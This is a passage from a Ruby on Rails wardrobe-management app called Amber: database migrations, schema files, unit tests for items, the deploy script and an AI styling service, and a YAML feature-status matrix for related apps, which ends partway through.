      t.string :password_digest, null: false

      t.timestamps
    end
    add_index :users, :email_address, unique: true
  end
end

rails/amber/db/migrate/20260504180352_create_sessions.rb

# frozen_string_literal: true

class CreateSessions < ActiveRecord::Migration[8.1]
  def change
    create_table :sessions do |t|
      t.references :user, null: false, foreign_key: true
      t.string :ip_address
      t.string :user_agent

      t.timestamps
    end
  end
end

rails/amber/db/migrate/20260504180357_create_active_storage_tables.active_storage.rb

# frozen_string_literal: true

# This migration comes from active_storage (originally 20170806125915)
class CreateActiveStorageTables < ActiveRecord::Migration[7.0]
  def change
    # Use Active Record's configured type for primary and foreign keys
    primary_key_type, foreign_key_type = primary_and_foreign_key_types

    create_table :active_storage_blobs, id: primary_key_type do |t|
      t.string   :key,          null: false
      t.string   :filename,     null: false
      t.string   :content_type
      t.text     :metadata
      t.string   :service_name, null: false
      t.bigint   :byte_size,    null: false
      t.string   :checksum

      if connection.supports_datetime_with_precision?
        t.datetime :created_at, precision: 6, null: false
      else
        t.datetime :created_at, null: false
      end

      t.index [ :key ], unique: true
    end

    create_table :active_storage_attachments, id: primary_key_type do |t|
      t.string     :name,     null: false
      t.references :record,   null: false, polymorphic: true, index: false, type: foreign_key_type
      t.references :blob,     null: false, type: foreign_key_type

      if connection.supports_datetime_with_precision?
        t.datetime :created_at, precision: 6, null: false
      else
        t.datetime :created_at, null: false
      end

      t.index [ :record_type, :record_id, :name, :blob_id ], name: :index_active_storage_attachments_uniqueness, unique: true
      t.foreign_key :active_storage_blobs, column: :blob_id
    end

    create_table :active_storage_variant_records, id: primary_key_type do |t|
      t.belongs_to :blob, null: false, index: false, type: foreign_key_type
      t.string :variation_digest, null: false

      t.index [ :blob_id, :variation_digest ], name: :index_active_storage_variant_records_uniqueness, unique: true
      t.foreign_key :active_storage_blobs, column: :blob_id
    end
  end

  private
    def primary_and_foreign_key_types
      config = Rails.configuration.generators
      setting = config.options[config.orm][:primary_key_type]
      primary_key_type = setting || :primary_key
      foreign_key_type = setting || :bigint
      [ primary_key_type, foreign_key_type ]
    end
end

rails/amber/db/migrate/20260504180401_create_items.rb

# frozen_string_literal: true

class CreateItems < ActiveRecord::Migration[8.1]
  def change
    create_table :items do |t|
      t.string :title
      t.string :category
      t.string :color
      t.string :size
      t.string :material
      t.string :brand
      t.decimal :price
      t.integer :times_worn
      t.date :purchase_date
      t.boolean :spark_joy
      t.references :user, null: false, foreign_key: true

      t.timestamps
    end
  end
end

rails/amber/db/migrate/20260504180405_create_outfit_items.rb

# frozen_string_literal: true

class CreateOutfitItems < ActiveRecord::Migration[8.1]
  def change
    create_table :outfit_items do |t|
      t.references :outfit, null: false, foreign_key: true
      t.references :item, null: false, foreign_key: true
      t.integer :position

      t.timestamps
    end
  end
end

rails/amber/db/migrate/20260504180406_create_planned_outfits.rb

# frozen_string_literal: true

class CreatePlannedOutfits < ActiveRecord::Migration[8.1]
  def change
    create_table :planned_outfits do |t|
      t.references :user, null: false, foreign_key: true
      t.references :outfit, null: false, foreign_key: true
      t.date :planned_date
      t.text :notes

      t.timestamps
    end
  end
end

rails/amber/db/migrate/20260504180410_add_extended_fields_to_items.rb

# frozen_string_literal: true

class AddExtendedFieldsToItems < ActiveRecord::Migration[8.1]
  def change
    add_column :items, :mood_effect, :string
    add_column :items, :life_phase, :string
    add_column :items, :occasion_tags, :string
    add_column :items, :season, :string
  end
end

rails/amber/db/migrate/20260504205505_create_outfits.rb

# frozen_string_literal: true

class CreateOutfits < ActiveRecord::Migration[8.1]
  def change
    create_table :outfits do |t|
      t.string :name
      t.text :description
      t.string :category
      t.string :season
      t.string :occasion
      t.integer :likes_count
      t.references :user, null: false, foreign_key: true

      t.timestamps
    end
  end
end

rails/amber/db/migrate/20260504211952_create_follows.rb

# frozen_string_literal: true

class CreateFollows < ActiveRecord::Migration[8.1]
  def change
    create_table :follows do |t|
      t.references :follower, null: false, foreign_key: true
      t.references :followee, null: false, foreign_key: true

      t.timestamps
    end
  end
end

rails/amber/db/migrate/20260504212306_create_posts.rb

# frozen_string_literal: true

class CreatePosts < ActiveRecord::Migration[8.1]
  def change
    create_table :posts do |t|
      t.text :body
      t.references :user, null: false, foreign_key: true
      t.references :outfit, null: false, foreign_key: true
      t.references :item, null: false, foreign_key: true
      t.integer :likes_count

      t.timestamps
    end
  end
end

rails/amber/db/migrate/20260515000100_add_amber_identity_and_intelligence.rb

# frozen_string_literal: true

class AddAmberIdentityAndIntelligence < ActiveRecord::Migration[8.1]
  def change
    create_table :profiles do |t|
      t.references :user, null: false, foreign_key: true, index: { unique: true }
      t.string :display_name
      t.text :bio
      t.string :location
      t.string :visibility, null: false, default: "private"
      t.json :style_summary
      t.timestamps
    end

    create_table :privacy_settings do |t|
      t.references :user, null: false, foreign_key: true, index: { unique: true }
      t.string :wardrobe_visibility, null: false, default: "private"
      t.string :analytics_visibility, null: false, default: "private"
      t.boolean :allow_ai_analysis, null: false, default: true
      t.boolean :allow_creator_remix, null: false, default: false
      t.timestamps
    end

    create_table :creator_profiles do |t|
      t.references :user, null: false, foreign_key: true, index: { unique: true }
      t.string :handle, null: false
      t.string :display_name, null: false
      t.text :bio
      t.boolean :public, null: false, default: false
      t.json :links
      t.timestamps
    end
    add_index :creator_profiles, :handle, unique: true

    create_table :creator_wardrobe_items do |t|
      t.references :creator_profile, null: false, foreign_key: true
      t.references :item, null: false, foreign_key: true
      t.string :caption
      t.integer :position, null: false, default: 0
      t.timestamps
    end
    add_index :creator_wardrobe_items, %i[creator_profile_id item_id], unique: true

    create_table :garment_embeddings do |t|
      t.references :item, null: false, foreign_key: true, index: { unique: true }
      t.string :provider, null: false
      t.string :model, null: false
      t.integer :dimensions
      t.json :vector
      t.json :metadata
      t.timestamps
    end

    create_table :wear_logs do |t|
      t.references :user, null: false, foreign_key: true
      t.references :item, null: false, foreign_key: true
      t.references :outfit, foreign_key: true
      t.date :worn_on, null: false
      t.string :context
      t.json :metadata
      t.timestamps
    end
    add_index :wear_logs, :worn_on

    create_table :sustainability_metrics do |t|
      t.references :item, null: false, foreign_key: true, index: { unique: true }
      t.decimal :resale_value, precision: 10, scale: 2
      t.decimal :repair_cost_estimate, precision: 10, scale: 2
      t.decimal :environmental_score, precision: 8, scale: 2
      t.json :metadata
      t.timestamps
    end

    create_table :affiliate_links do |t|
      t.references :item, null: false, foreign_key: true
      t.string :merchant, null: false
      t.string :url, null: false
      t.decimal :commission_rate, precision: 8, scale: 4
      t.json :metadata
      t.timestamps
    end

    create_table :style_preferences do |t|
      t.references :user, null: false, foreign_key: true
      t.string :kind, null: false, default: "aesthetic"
      t.string :name, null: false
      t.decimal :weight, precision: 8, scale: 4, null: false, default: 1.0
      t.json :metadata
      t.timestamps
    end
    add_index :style_preferences, %i[user_id kind name], unique: true

    create_table :recommendations do |t|
      t.references :user, null: false, foreign_key: true
      t.references :item, foreign_key: true
      t.references :outfit, foreign_key: true
      t.string :kind, null: false
      t.text :reason, null: false
      t.decimal :score, precision: 8, scale: 4
      t.datetime :dismissed_at
      t.json :metadata
      t.timestamps
    end
    add_index :recommendations, %i[user_id kind dismissed_at]

    create_table :packing_lists do |t|
      t.references :user, null: false, foreign_key: true
      t.string :name, null: false
      t.string :destination
      t.date :starts_on, null: false
      t.date :ends_on, null: false
      t.json :weather_context
      t.timestamps
    end

    create_table :packing_list_items do |t|
      t.references :packing_list, null: false, foreign_key: true
      t.references :item, null: false, foreign_key: true
      t.integer :quantity, null: false, default: 1
      t.boolean :packed, null: false, default: false
      t.timestamps
    end
    add_index :packing_list_items, %i[packing_list_id item_id], unique: true

    create_table :identity_verifications do |t|
      t.references :user, null: false, foreign_key: true
      t.string :kind, null: false, default: "human"
      t.string :status, null: false, default: "pending"
      t.string :reviewer
      t.datetime :reviewed_at
      t.json :metadata
      t.timestamps
    end

    create_table :consent_events do |t|
      t.references :user, null: false, foreign_key: true
      t.string :purpose, null: false
      t.string :decision, null: false
      t.json :metadata
      t.timestamps
    end

    add_column :items, :analysis_status, :string unless column_exists?(:items, :analysis_status)
    add_column :items, :metadata, :json unless column_exists?(:items, :metadata)
  end
end

rails/amber/db/migrate/20260515000200_add_declutter_logic.rb

# frozen_string_literal: true

class AddDeclutterLogic < ActiveRecord::Migration[8.1]
  def change
    add_column :items, :lifecycle_state, :string, null: false, default: "active" unless column_exists?(:items, :lifecycle_state)
    add_column :items, :last_worn_on, :date unless column_exists?(:items, :last_worn_on)

    create_table :declutter_reviews do |t|
      t.references :user, null: false, foreign_key: true
      t.references :item, null: false, foreign_key: true
      t.string :reason_kept
      t.string :decision
      t.text :notes
      t.json :metadata
      t.timestamps
    end
    add_index :declutter_reviews, %i[user_id item_id], unique: true

    create_table :declutter_challenges do |t|
      t.references :user, null: false, foreign_key: true
      t.references :item, null: false, foreign_key: true
      t.references :outfit, foreign_key: true
      t.date :due_on, null: false
      t.string :status, null: false, default: "pending"
      t.datetime :completed_at
      t.string :note
      t.json :metadata
      t.timestamps
    end
    add_index :declutter_challenges, %i[user_id status due_on]

    create_table :declutter_outcomes do |t|
      t.references :user, null: false, foreign_key: true
      t.references :item, null: false, foreign_key: true
      t.string :action, null: false
      t.decimal :amount_recovered, precision: 10, scale: 2
      t.text :notes
      t.json :metadata
      t.timestamps
    end
    add_index :declutter_outcomes, %i[user_id action created_at]
  end
end

rails/amber/db/queue_schema.rb

# frozen_string_literal: true

ActiveRecord::Schema[7.1].define(version: 1) do
  create_table "solid_queue_blocked_executions", force: :cascade do |t|
    t.bigint "job_id", null: false
    t.string "queue_name", null: false
    t.integer "priority", default: 0, null: false
    t.string "concurrency_key", null: false
    t.datetime "expires_at", null: false
    t.datetime "created_at", null: false
    t.index [ "concurrency_key", "priority", "job_id" ], name: "index_solid_queue_blocked_executions_for_release"
    t.index [ "expires_at", "concurrency_key" ], name: "index_solid_queue_blocked_executions_for_maintenance"
    t.index [ "job_id" ], name: "index_solid_queue_blocked_executions_on_job_id", unique: true
  end

  create_table "solid_queue_claimed_executions", force: :cascade do |t|
    t.bigint "job_id", null: false
    t.bigint "process_id"
    t.datetime "created_at", null: false
    t.index [ "job_id" ], name: "index_solid_queue_claimed_executions_on_job_id", unique: true
    t.index [ "process_id", "job_id" ], name: "index_solid_queue_claimed_executions_on_process_id_and_job_id"
  end

  create_table "solid_queue_failed_executions", force: :cascade do |t|
    t.bigint "job_id", null: false
    t.text "error"
    t.datetime "created_at", null: false
    t.index [ "job_id" ], name: "index_solid_queue_failed_executions_on_job_id", unique: true
  end

  create_table "solid_queue_jobs", force: :cascade do |t|
    t.string "queue_name", null: false
    t.string "class_name", null: false
    t.text "arguments"
    t.integer "priority", default: 0, null: false
    t.string "active_job_id"
    t.datetime "scheduled_at"
    t.datetime "finished_at"
    t.string "concurrency_key"
    t.datetime "created_at", null: false
    t.datetime "updated_at", null: false
    t.index [ "active_job_id" ], name: "index_solid_queue_jobs_on_active_job_id"
    t.index [ "class_name" ], name: "index_solid_queue_jobs_on_class_name"
    t.index [ "finished_at" ], name: "index_solid_queue_jobs_on_finished_at"
    t.index [ "queue_name", "finished_at" ], name: "index_solid_queue_jobs_for_filtering"
    t.index [ "scheduled_at", "finished_at" ], name: "index_solid_queue_jobs_for_alerting"
  end

  create_table "solid_queue_pauses", force: :cascade do |t|
    t.string "queue_name", null: false
    t.datetime "created_at", null: false
    t.index [ "queue_name" ], name: "index_solid_queue_pauses_on_queue_name", unique: true
  end

  create_table "solid_queue_processes", force: :cascade do |t|
    t.string "kind", null: false
    t.datetime "last_heartbeat_at", null: false
    t.bigint "supervisor_id"
    t.integer "pid", null: false
    t.string "hostname"
    t.text "metadata"
    t.datetime "created_at", null: false
    t.string "name", null: false
    t.index [ "last_heartbeat_at" ], name: "index_solid_queue_processes_on_last_heartbeat_at"
    t.index [ "name", "supervisor_id" ], name: "index_solid_queue_processes_on_name_and_supervisor_id", unique: true
    t.index [ "supervisor_id" ], name: "index_solid_queue_processes_on_supervisor_id"
  end

  create_table "solid_queue_ready_executions", force: :cascade do |t|
    t.bigint "job_id", null: false
    t.string "queue_name", null: false
    t.integer "priority", default: 0, null: false
    t.datetime "created_at", null: false
    t.index [ "job_id" ], name: "index_solid_queue_ready_executions_on_job_id", unique: true
    t.index [ "priority", "job_id" ], name: "index_solid_queue_poll_all"
    t.index [ "queue_name", "priority", "job_id" ], name: "index_solid_queue_poll_by_queue"
  end

  create_table "solid_queue_recurring_executions", force: :cascade do |t|
    t.bigint "job_id", null: false
    t.string "task_key", null: false
    t.datetime "run_at", null: false
    t.datetime "created_at", null: false
    t.index [ "job_id" ], name: "index_solid_queue_recurring_executions_on_job_id", unique: true
    t.index [ "task_key", "run_at" ], name: "index_solid_queue_recurring_executions_on_task_key_and_run_at", unique: true
  end

  create_table "solid_queue_recurring_tasks", force: :cascade do |t|
    t.string "key", null: false
    t.string "schedule", null: false
    t.string "command", limit: 2048
    t.string "class_name"
    t.text "arguments"
    t.string "queue_name"
    t.integer "priority", default: 0
    t.boolean "static", default: true, null: false
    t.text "description"
    t.datetime "created_at", null: false
    t.datetime "updated_at", null: false
    t.index [ "key" ], name: "index_solid_queue_recurring_tasks_on_key", unique: true
    t.index [ "static" ], name: "index_solid_queue_recurring_tasks_on_static"
  end

  create_table "solid_queue_scheduled_executions", force: :cascade do |t|
    t.bigint "job_id", null: false
    t.string "queue_name", null: false
    t.integer "priority", default: 0, null: false
    t.datetime "scheduled_at", null: false
    t.datetime "created_at", null: false
    t.index [ "job_id" ], name: "index_solid_queue_scheduled_executions_on_job_id", unique: true
    t.index [ "scheduled_at", "priority", "job_id" ], name: "index_solid_queue_dispatch_all"
  end

  create_table "solid_queue_semaphores", force: :cascade do |t|
    t.string "key", null: false
    t.integer "value", default: 1, null: false
    t.datetime "expires_at", null: false
    t.datetime "created_at", null: false
    t.datetime "updated_at", null: false
    t.index [ "expires_at" ], name: "index_solid_queue_semaphores_on_expires_at"
    t.index [ "key", "value" ], name: "index_solid_queue_semaphores_on_key_and_value"
    t.index [ "key" ], name: "index_solid_queue_semaphores_on_key", unique: true
  end

  add_foreign_key "solid_queue_blocked_executions", "solid_queue_jobs", column: "job_id", on_delete: :cascade
  add_foreign_key "solid_queue_claimed_executions", "solid_queue_jobs", column: "job_id", on_delete: :cascade
  add_foreign_key "solid_queue_failed_executions", "solid_queue_jobs", column: "job_id", on_delete: :cascade
  add_foreign_key "solid_queue_ready_executions", "solid_queue_jobs", column: "job_id", on_delete: :cascade
  add_foreign_key "solid_queue_recurring_executions", "solid_queue_jobs", column: "job_id", on_delete: :cascade
  add_foreign_key "solid_queue_scheduled_executions", "solid_queue_jobs", column: "job_id", on_delete: :cascade
end

rails/amber/db/schema.rb

# frozen_string_literal: true

# This file is auto-generated from the current state of the database. Instead
# of editing this file, please use the migrations feature of Active Record to
# incrementally modify your database, and then regenerate this schema definition.
#
# This file is the source Rails uses to define your schema when running `bin/rails
# db:schema:load`. When creating a new database, `bin/rails db:schema:load` tends to
# be faster and is potentially less error prone than running all of your
# migrations from scratch. Old migrations may fail to apply correctly if those
# migrations use external dependencies or application code.
#
# It's strongly recommended that you check this file into your version control system.

ActiveRecord::Schema[8.1].define(version: 2026_05_04_180410) do
  create_table "active_storage_attachments", force: :cascade do |t|
    t.bigint "blob_id", null: false
    t.datetime "created_at", null: false
    t.string "name", null: false
    t.bigint "record_id", null: false
    t.string "record_type", null: false
    t.index ["blob_id"], name: "index_active_storage_attachments_on_blob_id"
    t.index ["record_type", "record_id", "name", "blob_id"], name: "index_active_storage_attachments_uniqueness", unique: true
  end

  create_table "active_storage_blobs", force: :cascade do |t|
    t.bigint "byte_size", null: false
    t.string "checksum"
    t.string "content_type"
    t.datetime "created_at", null: false
    t.string "filename", null: false
    t.string "key", null: false
    t.text "metadata"
    t.string "service_name", null: false
    t.index ["key"], name: "index_active_storage_blobs_on_key", unique: true
  end

  create_table "active_storage_variant_records", force: :cascade do |t|
    t.bigint "blob_id", null: false
    t.string "variation_digest", null: false
    t.index ["blob_id", "variation_digest"], name: "index_active_storage_variant_records_uniqueness", unique: true
  end

  create_table "items", force: :cascade do |t|
    t.string "brand"
    t.string "category"
    t.string "color"
    t.datetime "created_at", null: false
    t.string "life_phase"
    t.string "material"
    t.string "mood_effect"
    t.string "occasion_tags"
    t.decimal "price"
    t.date "purchase_date"
    t.string "season"
    t.string "size"
    t.boolean "spark_joy"
    t.integer "times_worn"
    t.string "title"
    t.datetime "updated_at", null: false
    t.integer "user_id", null: false
    t.index ["user_id"], name: "index_items_on_user_id"
  end

  create_table "outfit_items", force: :cascade do |t|
    t.datetime "created_at", null: false
    t.integer "item_id", null: false
    t.integer "outfit_id", null: false
    t.integer "position"
    t.datetime "updated_at", null: false
    t.index ["item_id"], name: "index_outfit_items_on_item_id"
    t.index ["outfit_id"], name: "index_outfit_items_on_outfit_id"
  end

  create_table "planned_outfits", force: :cascade do |t|
    t.datetime "created_at", null: false
    t.text "notes"
    t.integer "outfit_id", null: false
    t.date "planned_date"
    t.datetime "updated_at", null: false
    t.integer "user_id", null: false
    t.index ["outfit_id"], name: "index_planned_outfits_on_outfit_id"
    t.index ["user_id"], name: "index_planned_outfits_on_user_id"
  end

  create_table "sessions", force: :cascade do |t|
    t.datetime "created_at", null: false
    t.string "ip_address"
    t.datetime "updated_at", null: false
    t.string "user_agent"
    t.integer "user_id", null: false
    t.index ["user_id"], name: "index_sessions_on_user_id"
  end

  create_table "users", force: :cascade do |t|
    t.datetime "created_at", null: false
    t.string "email_address", null: false
    t.string "password_digest", null: false
    t.datetime "updated_at", null: false
    t.index ["email_address"], name: "index_users_on_email_address", unique: true
  end

  add_foreign_key "active_storage_attachments", "active_storage_blobs", column: "blob_id"
  add_foreign_key "active_storage_variant_records", "active_storage_blobs", column: "blob_id"
  add_foreign_key "items", "users"
  add_foreign_key "outfit_items", "items"
  add_foreign_key "outfit_items", "outfits"
  add_foreign_key "planned_outfits", "outfits"
  add_foreign_key "planned_outfits", "users"
  add_foreign_key "sessions", "users"
end

rails/amber/db/seeds.rb

# frozen_string_literal: true

# This file should ensure the existence of records required to run the application in every environment (production,
# development, test). The code here should be idempotent so that it can be executed at any point in every environment.
# The data can then be loaded with the bin/rails db:seed command (or created alongside the database with db:setup).
#
# Example:
#
#   ["Action", "Comedy", "Drama", "Horror"].each do |genre_name|
#     MovieGenre.find_or_create_by!(name: genre_name)
#   end

rails/amber/test/deploy/amber_script_test.rb

# frozen_string_literal: true

require "test_helper"

class AmberScriptTest < ActiveSupport::TestCase
  SCRIPT = Rails.root.join("..", "amber.sh")

  test "deploy script is configured for amber instead of a template placeholder" do
    content = SCRIPT.read

    assert_includes content, "APP_NAME=amber"
    refute_includes content, "%APP_NAME%"
    assert_includes content, "APP_DOMAIN=amber.brgen.no"
  end

  test "deploy script avoids self-copying an amber bundle cache" do
    content = SCRIPT.read

    assert_includes content, "SHARED_BUNDLE_CACHE"
    assert_includes content, "${bundle_home} != /home/amber/.bundle"
  end

  test "deploy script uses modern bundler deployment configuration" do
    content = SCRIPT.read

    assert_includes content, "bundle config set --local deployment true"
    assert_includes content, "bundle config set --local without 'development test'"
    refute_includes content, "bundle install --deployment --without"
  end
end

rails/amber/test/models/item_test.rb

# frozen_string_literal: true

require "test_helper"

class ItemTest < ActiveSupport::TestCase
  test "cost_per_wear is nil until price and wears are usable" do
    item = Item.new(price: 100, times_worn: 0)
    assert_nil item.cost_per_wear

    item.times_worn = nil
    assert_nil item.cost_per_wear
  end

  test "cost_per_wear rounds to two decimals" do
    item = Item.new(price: 100, times_worn: 3)

    assert_equal 33.33, item.cost_per_wear
  end

  test "occasions normalizes comma-separated tags" do
    item = Item.new(occasion_tags: "work, casual,travel")

    assert_equal ["work", "casual", "travel"], item.occasions
  end
end

rails/amber/test/services/wardrobe_ai_service_test.rb

# frozen_string_literal: true

require "test_helper"

class WardrobeAiServiceTest < ActiveSupport::TestCase
  class FakeClient
    def initialize(content: nil, error: nil)
      @content = content
      @error = error
    end

    def chat(parameters:)
      raise @error if @error

      {
        "choices" => [
          { "message" => { "content" => @content } }
        ]
      }
    end
  end

  test "analyze_joy returns safe defaults when no API key is configured" do
    item = Item.new(title: "Blue jacket", category: "Outerwear")
    service = WardrobeAiService.new(User.new)

    result = service.analyze_joy(item)

    assert_nil result["sparks_joy"]
    assert_equal "Analysis unavailable", result["reason"]
    assert_equal "Trust your instincts", result["suggestion"]
  end

  test "chat-backed methods tolerate invalid JSON" do
    item = Item.new(title: "Blue jacket", category: "Outerwear")
    client = FakeClient.new(content: "not json")
    service = WardrobeAiService.new(User.new, client: client)

    result = service.analyze_joy(item)

    assert_nil result["sparks_joy"]
    assert_equal "Analysis unavailable", result["reason"]
    assert_equal "Trust your instincts", result["suggestion"]
  end

  test "suggest_outfits returns an empty array when provider fails" do
    user = User.new
    def user.items = Item.none

    service = WardrobeAiService.new(user, client: FakeClient.new(error: StandardError.new("boom")))

    assert_equal [], service.suggest_outfits
  end
end

rails/amber/test/test_helper.rb

# frozen_string_literal: true

ENV["RAILS_ENV"] ||= "test"
require_relative "../config/environment"
require "rails/test_help"

module ActiveSupport
  class TestCase
    parallelize(workers: :number_of_processors)
    fixtures :all
  end
end

rails/apps.yml

# Canonical deploy metadata and feature matrix for Rails apps under DEPLOY/rails.
#
# Status values:
#   done    verified in pub4/DEPLOY/rails/<app>/app
#   port    old implementation exists in anon987654321/pub repo — needs porting to Rails 8 / Hotwire / Falcon / SQLite
#   missing no implementation found anywhere
#   planned roadmap only, no code
#
# Cross-cutting dimensions tracked below:
#   visual_inheritance, activity_graph, multimodal_photo, openbsd_readiness, llm_scan_ready
#
# Run `/scan deep DEPLOY/rails/<app>/app` through MASTER to verify `done` claims.
# Sources: pub4 orbs/ extracted models, patch_tv_models.sh, brgen_seeds.rb,
#          anon987654321/pub repo READMEs, brgen_app/ models,
#          ~/pub4/tmp/pub_extract/ (generator scripts from __OLD_BACKUPS tgz archives).

apps:

  brgen:
    title: Brgen
    domain: brgen.no
    port: 38182
    stack_now: SQLite3, Rails 8, Hotwire, Falcon, Active Storage, Solid Queue, Solid Cache, OpenBSD, relayd
    stack_later: PostgreSQL where needed, city graph scaling, richer SNI/domain routing
    deploy_script: DEPLOY/rails/brgen/brgen.sh
    app_path: DEPLOY/rails/brgen/app
    public: true
    features:
      core:
        - { name: User model + auth,                                       status: done }
        - { name: Community (slug, name, description),                     status: done }
        - { name: Post (title, content, hot/fresh/top scopes),             status: done }
        - { name: Comment (threaded, polymorphic, controversial scope),    status: done }
        - { name: Vote / Like (polymorphic, karma side-effect),            status: done }
        - { name: Hashtag + Tagging join,                                  status: done }
        - { name: Mention model,                                           status: done }
        - { name: Votable concern,                                         status: done }
        - { name: Hotwire broadcasts_refreshes,                            status: done }
        - { name: OmniAuth (Vipps / Google / Snapchat),                       status: port }
        - { name: Reaction (polymorphic on posts/messages, ActionCable),    status: port }
        - { name: Follow (self-join, no self-follows, notifications),       status: port }
        - { name: Notification (like/follow/custom, mark_as_read),          status: port }
        - { name: DirectMessage (conversation_between, mark_as_read),       status: port }
        - { name: full-text search (SQLite FTS5),                           status: port }
        - { name: reading_time_minutes on posts,                            status: port }
        - { name: city-scoped subdomain routing,                           status: missing }
        - { name: proximity / geolocation filtering,                       status: missing }
        - { name: moderation tools,                                        status: missing }
        - { name: media pipeline (Active Storage variants),                status: missing }
        - { name: photo/multimodal upload (visitor allowed on public surface), status: done, notes: "intentionally open for chat vision; see WIRING_NOTES.md" }
        - { name: unified Activity graph emission,                         status: port, notes: "core to recommendations & discovery across verticals; see brgen_CORE.md + WIRING_NOTES.md" }
        - { name: AI feed ranking,                                         status: planned }
        - { name: creator monetization,                                    status: planned }
        - { name: maps surface,                                            status: planned }
      subapp_tv:
        - { name: Tv::Channel (slug, avatar, banner, subscribers_count),   status: done, notes: patch_tv_models.sh }
        - { name: Tv::Video (status machine, duration_formatted),          status: done }
        - { name: Tv::Broadcast (stream_key, go_live!/end_live!),          status: done }
        - { name: Tv::Subscription,                                        status: done }
        - { name: Tv::ViewEvent,                                           status: done }
        - { name: Tv::Show,                                                status: missing }
        - { name: Tv::Episode,                                             status: missing }
        - { name: video upload + Active Storage variants,                  status: missing }
        - { name: live stream infrastructure,                              status: planned }
        - { name: VideoPublished / BroadcastScheduled events,             status: missing }
      subapp_dating:
        - { name: Dating::Profile (user, bio, interests),                   status: port }
        - { name: Dating::Like (user, liked_user),                          status: port }
        - { name: Dating::Dislike (user, disliked_user),                    status: port }
        - { name: Dating::Match (MatchmakingService — mutual likes),        status: port }
        - { name: swipe UI (Turbo Streams, Stimulus),                       status: port }
        - { name: city + radius filter,                                     status: missing }
        - { name: match → messaging handoff,                                status: missing }
        - { name: photos on profile,                                        status: missing }
        - { name: premium memberships / boost purchases,                    status: planned }
      subapp_marketplace:
        notes: Old impl used Solidus — pub4 needs native Rails 8 models instead
        items:
        - { name: Marketplace::Product (name, description, price, image),   status: port }
        - { name: Marketplace::Category,                                    status: port }
        - { name: Marketplace::Review,                                      status: port }
        - { name: schema.org Product microdata in views,                    status: port }
        - { name: Marketplace::Order (state machine),                       status: missing }
        - { name: buyer–seller Chat,                                        status: missing }
        - { name: geo-localized listings,                                   status: missing }
        - { name: locale subdomain routing (markedsplass/markadur/…),      status: missing }
        - { name: FTS filtering,                                            status: port }
        - { name: AI recommendations,                                       status: planned }
      subapp_playlist:
        - { name: Playlist::Set (name, description, user),                  status: port }
        - { name: Playlist::Track (name, artist, audio_url, set),           status: port }
        - { name: schema.org microdata in views,                            status: port }
        - { name: Playlist::Listen,                                         status: missing }
        - { name: embeddable player,                                        status: port }
        - { name: Spotify/YouTube/SoundCloud import,                        status: missing }
        - { name: city-scoped trending feed,                                status: missing }
        - { name: expiration dates on tracks,                               status: missing }
        - { name: creator donations / ad-free tier,                         status: planned }
      subapp_takeaway:
        - { name: Takeaway::Item (name, description, price),                status: port }
        - { name: Takeaway::Order (user, status:string),                    status: port }
        - { name: Restaurant model (geocoding),                             status: missing }
        - { name: MenuItem availability state machine,                      status: missing }
        - { name: Order full state machine (placed→delivered),              status: missing }

  amber:
    title: Amber
    domain: amber.brgen.no
    port: 61352
    stack_now: SQLite3, Rails 8, Hotwire, Falcon, Active Storage, OpenBSD, relayd
    stack_later: PostgreSQL, pgvector, multimodal retrieval, richer PWA/offline features
    deploy_script: DEPLOY/rails/amber/amber.sh
    app_path: DEPLOY/rails/amber/app
    public: true
    features:
      core:
        - { name: Item (title, color, size, material, texture, brand, price, category, sku, release_date, stock_quantity, available, user), status: done, notes: pub4 version adds mood/occasion/life_phase/times_worn on top }
        - { name: cost_per_wear calculation,                               status: done }
        - { name: wear! increment,                                         status: done }
        - { name: aging_unworn / never_worn scopes,                        status: done }
        - { name: Outfit (likes_count),                                    status: done }
        - { name: OutfitItem join (position),                              status: done }
        - { name: Item photos (Active Storage has_many_attached),          status: done }
        - { name: Hotwire broadcasts_refreshes on Item/Outfit,             status: done }
        - { name: items + outfits index/show views,                        status: done }
        - { name: Post model for amber social feed,                        status: done }
        - { name: Wardrobe model (collection container),                   status: port }
        - { name: Connection model (follow / friend),                      status: port }
        - { name: LiveStream model,                                        status: port }
        - { name: Message model,                                           status: port }
        - { name: wardrobe upload UI (drag-and-drop),                      status: missing }
        - { name: garment segmentation / background removal,               status: missing }
        - { name: outfit generation by weather/season/event,               status: missing }
        - { name: style evolution timeline / aesthetic phases,             status: missing }
        - { name: underused item surfacing,                                status: missing }
        - { name: wardrobe analytics dashboard,                            status: port }
        - { name: closet organisation tips (AI),                           status: missing }
        - { name: social feed,                                             status: missing }
        - { name: affiliate commerce links,                                status: port }
      planned:
        - { name: fashion embeddings (pgvector),                           status: planned }
        - { name: visual similarity search,                                status: planned }
        - { name: virtual fitting room,                                    status: planned }
        - { name: mood matcher,                                            status: planned }
        - { name: event outfit planner,                                    status: planned }
        - { name: sustainable styles / resale,                             status: planned }
        - { name: weather-based suggestions,                               status: planned }
        - { name: global trends / local designer highlights,               status: planned }
        - { name: style agents (MASTER integration),                       status: planned }

  baibl:
    title: Baibl
    domain: baibl.no
    port: 10007
    stack_now: SQLite3, Rails 8, Hotwire, Falcon, Active Storage, OpenBSD, relayd
    stack_later: PostgreSQL, pgvector, GraphRAG, semantic scripture retrieval
    deploy_script: DEPLOY/rails/baibl/baibl.sh
    app_path: DEPLOY/rails/baibl/app
    public: true
    features:
      core:
        - { name: Verse model,                                             status: port }
        - { name: Translation model (Aramaic/KJV/multi-language),         status: port }
        - { name: Analysis model (AI linguistic, confidence scoring),      status: port }
        - { name: Comment model (threaded),                                status: port }
        - { name: full-text scripture search,                              status: port }
        - { name: real-time translation (Hotwire),                        status: port }
        - { name: AI linguistic analysis (OpenAI / Langchain),             status: port }
        - { name: Norwegian interface,                                     status: port }
        - { name: Genesis Ch.1 trilingual seed data,                      status: port }
        - { name: Book / Chapter navigation,                               status: missing }
        - { name: collaborative annotation (Annotation model),             status: missing }
        - { name: Theme / Doctrine cross-reference,                        status: missing }
        - { name: historical context layer,                                status: missing }
        - { name: linguistic context (Hebrew/Greek morphology),            status: missing }
        - { name: RESTful API,                                             status: port }
      planned:
        - { name: study groups,                                            status: planned }
        - { name: reading plans,                                           status: planned }
        - { name: offline sync,                                            status: planned }
        - { name: GraphRAG theology graph (pgvector),                      status: planned }
        - { name: seminary integration,                                    status: planned }

  blognet:
    title: Blognet
    domain: blognet.no
    port: 10002
    stack_now: SQLite3, Rails 8, Hotwire, Falcon, Active Storage, OpenBSD, relayd
    stack_later: PostgreSQL, pgvector, editorial knowledge graph, Foodielicious vertical routing
    deploy_script: DEPLOY/rails/blognet/blognet.sh
    app_path: DEPLOY/rails/blognet/app
    public: true
    features:
      core:
        - { name: Blog model,                                              status: port }
